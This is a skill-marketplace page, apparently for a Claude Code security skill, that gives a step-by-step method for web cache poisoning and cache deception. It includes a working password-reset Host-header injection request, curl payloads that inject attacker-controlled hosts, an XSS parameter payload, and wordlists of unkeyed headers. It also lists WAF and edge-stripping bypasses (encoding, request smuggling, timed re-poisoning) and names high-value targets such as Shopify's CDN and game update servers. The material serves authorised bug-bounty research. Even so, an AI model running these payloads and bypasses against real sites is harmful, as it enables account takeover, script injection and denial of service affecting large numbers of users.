mcpField
H
hunt-cache-poison

hunt-cache-poison

github.com/elementalsouls安全5.3k293 次安装今天更新
代码仓库

关于 hunt-cache-poison

hunt-cache-poison 是面向安全研究者的 Web 缓存投毒测试技能。它提供从识别缓存基础设施、测试未纳入缓存键的输入,到验证跨请求污染和评估影响范围的流程。

主要功能

  1. 01识别缓存基础设施与命中信号
  2. 02测试未纳入缓存键的请求头
  3. 03检查 Web 缓存欺骗与参数污染
  4. 04验证投毒响应是否影响后续请求
  5. 05评估缓存持续时间与影响范围

适用场景

  1. 01检查 X-Forwarded-Host 是否污染缓存响应
  2. 02测试动态账户页面是否被当作静态资源缓存
  3. 03验证错误响应是否会造成缓存拒绝服务
  4. 04确认投毒内容是否会被其他访客获取

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-cache-poison

安装后在 Claude Code 中输入/hunt-cache-poison确认已加载。

详细介绍

核心高价值目标

缓存投毒价值很高,因为单个被投毒的缓存条目就能同时影响数千甚至数百万名受害者——只需一个请求,就能大规模利用。赏金金额随影响范围扩大而增加。

最高价值的目标:

  • 由 CDN 提供服务的资源(cdn.shopify.com、cloudfront 分发、Fastly/Akamai 边缘节点)——投毒这些资源会影响全球所有访客
  • 带有联盟营销/推荐流程的电商平台(Shopify、WooCommerce 店面)——可能导致会话劫持或联盟营销欺诈
  • 带有更新服务的游戏平台(rockstargames updates.* 域名)——更新分发遭拒绝服务会导致大量客户端故障
  • 通过缓存提供服务的身份验证端点——可能导致账户接管(严重程度最高的变体)
  • 资源 CDN(JS/CSS 分发)——大规模投放 XSS 载荷
  • SaaS 多租户平台——一个被投毒的响应可能泄漏给所有共享同一缓存键的租户

收益最高的资源类型: CDN 主机名、每个租户一个子域名的模式、更新/下载服务器、缓存配置不当的登录/账户页面、联盟链接缩短服务。


自主测试优先级

此技能涵盖两种不同的攻击——先测试较简单的一种。

攻击 1——密码重置投毒(Host 标头注入):

应用使用 Host 标头构造邮件中的密码重置链接。注入攻击者控制的主机名;受害者收到的重置邮件中就会包含指向你服务器的链接。

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

[email protected]
Content-Type: application/x-www-form-urlencoded

使用你控制或能在响应中识别的独特主机名。证明: 注入的主机名出现在响应正文中(某些应用会反射生成的重置链接),或者注入后操作成功(返回 2xx,且显示“已发送重置邮件”之类的消息)——这证实了被投毒的链接会发送给受害者。

尝试多个主机标头——不同应用信任的标头不同(最常见的是 X-Forwarded-Host,但如果代理会转发,Host 本身也有效)。

攻击 2——Web 缓存投毒:

在针对可缓存页面的 GET 请求中,将攻击者控制的主机名注入 X-Forwarded-Host。如果响应正文反射了该主机名,且响应被缓存,后续访客就会收到被投毒的响应。

检查响应中是否有缓存信号:X-Cache: HIT、CF-Cache-Status: HIT、Age: <nonzero> 或 Via: cloudfront/varnish/fastly。

两种攻击的证明: 注入值被反射到响应正文中,或在操纵标头后操作仍成功完成。


攻击面信号

需要留意的 URL 模式:

  • cdn.、assets.、static.、updates.、downloads. 子域名
  • 带有类似静态资源扩展名的 URL 路径结构:/path/to/page.css、/account.php/nonexistent.jpg
  • 联盟营销/链接缩短端点:/link/、/go/、/ref/、/out/
  • 将动态内容与看似可缓存的 URL 混合使用的路径

表明存在缓存的响应标头:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

JS/技术栈信号:

  • 响应标头中出现 Fastly、Varnish、Cloudfront、Akamai、Nginx proxy_cache
  • 带有第三方集成的 Shopify/Linkpop 技术栈
  • 使用基于路径的路由且不规范化尾随路径段的平台
  • 会将未经验证的标头(Host、X-Forwarded-Host、X-Original-URL)反射到响应中的服务器

危险的候选标头(不参与缓存键计算的输入):

X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override

逐步狩猎方法

  1. 绘制缓存基础设施。 向目标发送 GET 请求并检查响应标头。识别缓存层(Cloudflare、Fastly、Varnish、Nginx)。记录 Age、X-Cache、CF-Cache-Status 标头。

  2. 识别缓存键组成部分。 发送两个完全相同的请求——如果 Age 递增,则响应已缓存。逐一更改标头(例如,添加 X-Forwarded-Host),以确定哪些标头未包含在缓存键中(未纳入键控)。

  3. 测试未纳入键控的标头反射。 添加 X-Forwarded-Host: evil.com,检查该值是否出现在响应正文中(重定向、规范链接、CSP 标头、JS src 属性、meta 标签)。附加一个唯一的缓存绕过查询参数(例如 ?cb=<random>),使探测请求在一个临时键下产生缓存未命中——这样可在真实的、受害者共享的缓存键下过早存入有效的投毒条目之前,验证反射是否存在。(Param Miner 的“Guess headers”模式是用于自动发现这些未纳入键控的标头/参数的 Burp 标准工具。)

  4. 测试 URL 路径操纵(Web 缓存欺骗)。 在动态端点后附加伪造的静态扩展名:

    • GET /account/profile.css
    • GET /dashboard/settings.jpg
    • GET /affiliate-link/target.js 检查服务器是否返回动态内容,且缓存是否存储了该内容。
  5. 测试是否可通过缓存投毒造成 DoS。 发送带有会导致 4xx/5xx 错误的标头的请求,并检查错误响应是否被缓存:

    • 格式错误的 Host 标头
    • 指向无效主机的 X-Forwarded-Host
    • 触发后端错误的超大标头
  6. 确认未纳入键控的参数投毒。 尝试查询参数疲劳或 HTTP 参数污染:

    • GET /page?utm_source="><script>alert(1)</script> 检查该参数是否被反射,以及对 /page 的干净请求是否会命中缓存的内容。
  7. 验证缓存存储。 发送可能导致投毒的请求后,立即从不同 IP 或无痕会话请求相同 URL,且不带恶意标头。如果收到被投毒的响应,即可确认。

  8. 测量缓存 TTL。 检查 Cache-Control: max-age 和 Age,了解投毒内容会持续多久,以及它在过期前是否可被利用。

  9. 专门检查联盟营销/链接流程。 对 Linkpop 等平台,测试引荐来源/产品 URL 是否嵌入可缓存的响应中,并会被其他用户接收。

  10. 记录影响范围。 确定影响范围是全球 CDN 边缘节点(全球范围)、区域缓存,还是单服务器缓存。这会直接影响严重性评级。


载荷与检测模式

确认缓存行为:

# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"

测试未纳入键控的 X-Forwarded-Host:

curl -s -H "X-Forwarded-Host: evil.attacker.com" \
  "https://target.com/page" | grep -i "evil.attacker.com"

测试 Web 缓存欺骗(附加路径):

# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
  "https://target.com/account/profile.css"

# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"

强制缓存未命中,以在不命中缓存版本的情况下测试投毒:

# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
     "https://target.com/page?cb=$RANDOM"

通过被投毒的错误响应造成 DoS:

curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
  "https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"

在 Burp/ZAP 响应历史记录中搜索模式:

# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]

# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.

# Web cache deception indicators
Content-Type: text/css  (but response is HTML/JSON)
Cache-Control: public.*max-age  (on authenticated endpoint)

参数污染测试:

curl -s "https://target.com/page?cb=1&param=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"

Burp Suite Intruder 未纳入键控标头词表:

X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP

Origin 标头 → ACAO 缓存投毒

将 Origin 添加到未纳入键控的标头集合中。测试它是否会被反射到 Access-Control-Allow-Origin 中并随后被缓存:连续两次使用 curl -H "Origin: evil.example" URL -I 请求。缓存了攻击者来源或 * 的 ACAO 会破坏合法用户的 CORS(缓存 DoS);缓存了宽松 ACAO 则允许跨用户读取数据。已披露:reports/591302。

常见根本原因

  1. CDN 配置错误——仅根据 URL 路径缓存。 工程师配置诸如“缓存所有匹配 *.js 的内容”之类的规则,却没有意识到动态路由后面可以附加路径。源服务器会忽略多余的路径段,但 CDN 会将它们用作缓存键。

  2. 转发标头未纳入缓存键。 开发者配置反向代理,将 X-Forwarded-Host 转发给后端,用于生成 URL(规范链接、重定向、密码重置邮件),却没有将其纳入缓存键。CDN 缓存了被投毒的响应。

  3. 通过宽松路由实施 Web 缓存欺骗。 会规范化 URL 的框架(例如 Rails、Express)会接受 /account/settings.css,并返回与 /account/settings 相同的响应。CDN 看到 .css 扩展名后,会应用激进的缓存规则。

  4. 多租户响应被共享缓存。 使用单个 CDN 且缓存键中未隔离租户的 SaaS 平台会导致跨租户缓存投毒。

  5. 未加审慎处理就缓存错误响应。 由攻击者控制的输入触发的后端错误(404、500)会被缓存,导致合法用户遭受 DoS。开发者实施缓存时没有排除错误状态码。

  6. Vary 标头实现草率。 开发者知道应该添加 Vary: X-Forwarded-Host,但常常忘记;或者 CDN 会完全移除/忽略 Vary 标头(Cloudflare 过去会移除某些资产类型的 Vary 标头)。

  7. 会反射 URL 的第三方集成。 联盟营销/链接跟踪系统(例如 Shopify Linkpop)会在元数据、规范标签或重定向中反射目标 URL,而这些内容会被全局缓存。


绕过技术

防御:WAF 阻止已知的投毒标头

  • 绕过:使用不常见的标头变体:X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded: host=evil.com、X-Original-URL
  • 绕过:对标头值进行编码:X-Forwarded-Host: evil%2ecom
  • 绕过:改变大小写:x-forwarded-host、X-FORWARDED-HOST

防御:在边缘节点剥除攻击者提供的标头

  • 绕过:如果代理会降级到 HTTP/1.1,则操纵 HTTP/2 伪标头
  • 绕过:通过 HTTP 请求走私进行注入——将带有投毒标头的请求走私通过 WAF,直接访问缓存服务器

防御:缓存前要求进行身份验证

  • 绕过:Web 缓存欺骗——在 URL 后附加 .css/.js,诱使缓存存储经过身份验证的内容,从而匹配会忽略身份验证的缓存规则

防御:缓存键包含完整 URL 和查询字符串

  • 绕过:HTTP 参数污染——某些解析器会采用第一个出现的参数,而缓存则以完整字符串作为键;注入 ?legit=1&param=evil,缓存会将其存储在 ?legit=1&param=evil 下,但受害者访问的是 ?legit=1
  • 绕过:超大 GET 请求——发送后端会处理、但缓存会忽略的正文参数

防御:缩短 TTL / 快速清除缓存

  • 绕过:自动重新投毒;在 TTL 即将过期前循环发送投毒请求
  • 绕过:通过特定 PoP 路由请求,针对默认 TTL 较长的 CDN 节点

防御:在敏感端点设置 Cache-Control: private

  • 绕过:检查 CDN 是否遵循此标头(如果管理员已全局覆盖缓存规则,某些 CDN 会忽略此标头)
  • 绕过:寻找会反射相同敏感数据的相邻可缓存端点

Gate 0 验证

  1. 攻击者现在能做什么? 攻击者必须能够污染缓存条目,并证明来自不同客户端/IP 的独立、未认证请求会收到被污染的响应,而不只是攻击者自己的浏览器收到响应。如果只有攻击者能看到效果,那就不算缓存投毒。

  2. 受害者会失去什么? 必须属于以下情况之一:(a) 通过被污染响应中反射的凭据导致会话/账户被攻陷;(b) 通过被污染的资源执行攻击者控制的 JS;(c) 服务拒绝,即合法请求返回错误响应;或 (d) 敏感数据泄露(账户详情被缓存并提供给其他用户)。仅有“奇怪的响应标头”不算影响。

  3. 能否在 10 分钟内从头复现? 你必须能够:发送投毒请求 → 等待缓存存储 → 从无痕窗口/不同 IP 获取该 URL → 观察被污染的响应。如果无法用第二个客户端演示这一干净的复现过程,缓存可能并未真正存储投毒内容,报告也还没准备好。


实际影响案例

场景 1 — CDN 资源投放遭大规模 DoS(Shopify CDN) 攻击者发现,cdn.shopify.com 上由 CDN 提供的 JavaScript 资源可以被投毒:只需发送带有特制标头的请求,导致源站返回 4xx 错误。CDN 缓存了这条错误响应。此后,任何加载该资源的商家店面都会收到缓存的错误响应,而非有效的 JS 文件,导致所有共用该 CDN 路径的店面结账流程和功能出现故障。只需一个 HTTP 请求,就会对所有商家造成影响,且影响会持续到缓存 TTL 过期。

场景 2 — 通过 Web 缓存欺骗接管账户 在一个提供已认证账户页面的平台上,攻击者构造了类似 /account/profile/photo.jpg 的 URL,并通过钓鱼链接发送给受害者。当已认证的受害者访问该 URL 时,服务器返回其完整账户资料页面(姓名、电子邮件、会话令牌)。由于 URL 以 .jpg 结尾,CDN 将已认证的响应公开缓存。随后,攻击者无需认证即可获取 /account/profile/photo.jpg,并收到受害者的账户数据,从而能够完全接管账户。由于缓存会向之后的任何请求者提供相同响应,影响进一步扩大。

场景 3 — 通过 URL 路径操纵劫持联盟链接(Shopify Linkpop) 攻击者发现,Linkpop 联盟链接服务会根据 URL 路径缓存响应,却会在缓存的 HTML 中反射经过操纵的产品目标 URL。攻击者在合法用户访问之前打开特制路径,污染缓存,将联盟链接点击重定向到攻击者控制的域名,而不是合法的 Amazon 商品页面。受害者点击看似有效的商家链接后会被引导至攻击者的基础设施,从而使攻击者得以进行凭据钓鱼,并导致合法商家损失联盟佣金收入。


已披露报告引用(2017-2024)

以下是真实且经过验证的漏洞赏金/协调披露案例,可扩展本技能的内容。涵盖两大类:缓存投毒(攻击者影响提供给受害者的缓存响应)和缓存欺骗(攻击者诱使缓存存储受害者的私有响应)。

  1. Shopify — 通过 X-Forwarded-Host 进行缓存投毒(H1 #977851)

    • 子类:X-Forwarded-Host 标头投毒(未纳入缓存键的输入 → 重定向/脚本来源损坏)
    • 载荷:使用 X-Forwarded-Host: attacker.com 发送 GET /any-path 请求 — 单个请求便将攻击者的主机持久写入缓存响应,影响 apps.shopify.com 及其本地化子域名
    • 根本原因:X-Forwarded-Host 会影响资源/重定向 URL 的生成,但并未纳入缓存键
    • 年份:2020 — $1,300 → 升级至 $6,300(一次投毒,影响波及多个主机)
  2. HackerOne — 通过 X-Forwarded-Port 缓存投毒造成 DoS(H1 #409370)

    • 子类:X-Forwarded-Host / X-Forwarded-Port DoS(将重定向投毒到无效端口)
    • 载荷:使用 X-Forwarded-Port: 1 发送 GET /<redirect-path> ——缓存的 301 重定向将合法用户指向端口 1,导致无法访问
    • 根本原因:生成 301 重定向时信任 X-Forwarded-* 标头;缓存存储了错误的 Location
    • 年份:2018 — $2,500(H1 针对 H1 的开创性案例)
  3. GitLab — 通过 X-HTTP-Method-Override 缓存投毒造成 DoS(H1 #1160407)

    • 子类:方法伪装 / GCS 缓存键泄漏(HEAD 响应存储在 GET 键下)
    • 载荷:使用 X-HTTP-Method-Override: HEAD 发送 GET /assets/webpack/*.js ——GCS 后端遵循了该方法覆盖标头并返回空响应体;CDN 将其缓存为标准 GET 响应
    • 根本原因:CDN 缓存未区分请求方法;HEAD 响应体(空)覆盖了缓存静态资源的 GET 条目
    • 年份:2021 — $2,500(DoS 通常不在范围内,此次因其新颖性而获奖励)
  4. PayPal — Web 缓存欺骗(Omer Gil 原创)(博客)

    • 子类:在需要身份验证的路由后追加 .css / .jpg 等路径的经典 WCD
    • 载荷:GET https://www.paypal.com/myaccount/home/foo.css ——源站提供完整的已认证账户页面;CDN 将其作为“静态 .css”缓存约 5 小时
    • 根本原因:源站将未知路径后缀路由到上级动态处理程序;CDN 仅根据看似静态的文件扩展名进行缓存
    • 年份:2017 — $3,000(PortSwigger 2017 年十大 Web 黑客技术第 2 名)
  5. Cloudflare PBB — 通过 .avif 绕过缓存欺骗防护(H1 #1391635)

    • 子类:利用冷僻的图片扩展名绕过 CDN 特定的允许列表(Cloudflare 的 WCD 防护功能)
    • 载荷:GET https://<protected-origin>/account/me.avif ——Cloudflare 的 Cache Deception Armor 扩展名列表未包含 .avif,因此已认证的 HTML 响应被缓存
    • 根本原因:Cache Deception Armor 使用了静态且不完整的扩展名允许列表,未涵盖现代图片 MIME 类型
    • 年份:2022 — Cloudflare PBB 奖金(金额未披露)
  6. Akamai(PayPal/Airbnb/Goldman Sachs)— 逐跳标头走私 → 服务端边缘缓存投毒(Tediosi 和 Mariani 的分析文章)

    • 子类:CDN 特定的请求走私,将攻击者的响应存入附近 IP 使用的 Akamai 边缘缓存
    • 载荷:Connection: Content-Length + 精心构造的请求 ——Akamai 的第一个代理将 Content-Length 作为逐跳标头剥离;第二个代理则将请求体视为第二个请求,其响应被缓存在边缘
    • 根本原因:Akamai 各代理层对逐跳标头的处理不一致,导致请求失步;走私的响应被全局缓存在服务端
    • 年份:2022 — 受影响项目的总额 >$50K(PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100),入围 PortSwigger 2022 年十大 Web 黑客技术
  7. James Kettle (PortSwigger) — “Gotta cache 'em all”:针对 Cloudflare/Fastly/GCP 的路径规范化与 WCD(PortSwigger Research)

    • 子类:主要 CDN(Cloudflare、Fastly、GCP/Google Cloud)中的缓存键路径规范化差异和 Web Cache Deception——本技能描述中提到的 2024 年研究
    • 载荷:源站与缓存对分隔符/规范化处理的差异(例如编码路径段和静态后缀技巧),导致缓存将动态/已认证响应存储在看似静态的键下
    • 根本原因:缓存与源站对 URL 路径的规范化/解析方式存在分歧,因此缓存键与源站实际提供的资源不匹配
    • 年份:2024 年——与 CDN 供应商协调披露;方法论研究(无单一漏洞赏金),入选 PortSwigger 2024 年十大 Web 攻击技术

相关技能与攻击链

  • hunt-xss — 缓存投毒是将反射型 XSS(低危、仅影响自身)扩大为影响每位 CDN 边缘访客的存储型 XSS 的倍增器。攻击链基元:X-Forwarded-Host: attacker.com 污染缓存的 script src → 缓存响应现在包含 <script src="//attacker.com/x.js"> → 该 CDN 边缘的每位访客都会执行攻击者的 JS,并在整个 Cache-Control max-age 期间持续生效。
  • hunt-http-smuggling — 请求走私绕过前端缓存键规范化以及 WAF 对投毒标头的剥除,直接命中缓存服务器。攻击链基元:CL.TE 走私将 X-Forwarded-Host: attacker.com 送达缓存后端,绕过边缘处剥除该标头的 WAF → 投毒条目以受害者的常规 URL 为键存储 → 去同步投毒,走私请求成为下一个受害者收到的缓存响应。
  • hunt-auth-bypass — Web Cache Deception 会将已认证页面变成公开缓存的响应,把与会话绑定的内容泄露给未认证攻击者。攻击链基元:/account/profile.css 作为已认证 HTML 提供,并作为静态资源缓存 → 攻击者无需认证即可请求同一 URL 并读取受害者的电子邮箱/令牌 → 响应正文中包含会话 Cookie → 完全接管账户(ATO)。
  • security-arsenal — 手动模糊测试前,先使用无键标头词表(X-Forwarded-Host、X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded、X-Original-URL)和 WCD 路径扩展名列表(.css、.js、.jpg、.ico、;.css、%2e%2ecss)。
  • triage-validation — 在宣称为严重级别前,先运行预严重级别检查:必须能够从不同 IP/无痕模式复现被投毒的响应,且不带你的投毒标头。如果只有你自己的浏览器能看到效果,那只是自缓存,严重级别不适用(N/A)。

评论

支持 Markdown